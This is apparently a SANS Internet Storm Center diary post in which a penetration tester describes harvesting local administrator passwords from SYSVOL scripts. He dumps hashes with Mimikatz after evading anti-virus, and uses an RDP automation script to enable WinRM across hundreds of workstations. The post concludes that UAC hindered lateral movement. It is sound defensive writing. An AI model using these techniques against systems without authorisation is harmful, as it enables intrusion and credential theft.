I many cases things one can find on SYSVOL shares on domain controllers are worth pure gold – in this case I got lucky as well – I managed to find some VBS files that contained credentials for local administrators on user workstations. Sounded like game over, but was it?

Since I now had local administrator privileges, the next logical step was to use Mimikatz to dump any locally available secrets. After a little bit of tweaking to evade the anti-virus this particular customer was using, I dumped hashes and, to my disappointment, I did not find anything valuable – apart from local administrator accounts I already had.

Now, since these are local administrators on all workstations in the enterprise, one would think that somehow, we can mass pwn them. However, thanks to UAC, this is not really possible – UAC actually prevents local administrators (note that these were not domain accounts, but local accounts on each workstation, added to the local administrator group) from mapping C$ or ADMIN$ shares effectively preventing an attacker from using typical attack vectors (psexec and similar). This was probably the first case that I saw UAC really making a difference.

Of course, there was still a way to use these accounts – one can RDP to a workstation and login with the account I had (since I had plain text passwords as well), but this is not all that stealthy. Since I was debating mass pwnage possibilities, one of my friends and a great security researcher @k0st, quickly wrote a cool AutoIt script that one can use to automatically login to remote workstations and execute arbitrary commands. So I used the script to enable WinRM and modify configuration automatically on hundreds of workstations. You can find the script at https://github.com/kost/rdpcmd

The lesson of this story was that one should not just blindly disable UAC – there are cases where it definitely helps. As with any other security control, it will not solve everything, but can slow down an attacker or make him become more visible, which in the end can help defenders.


Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.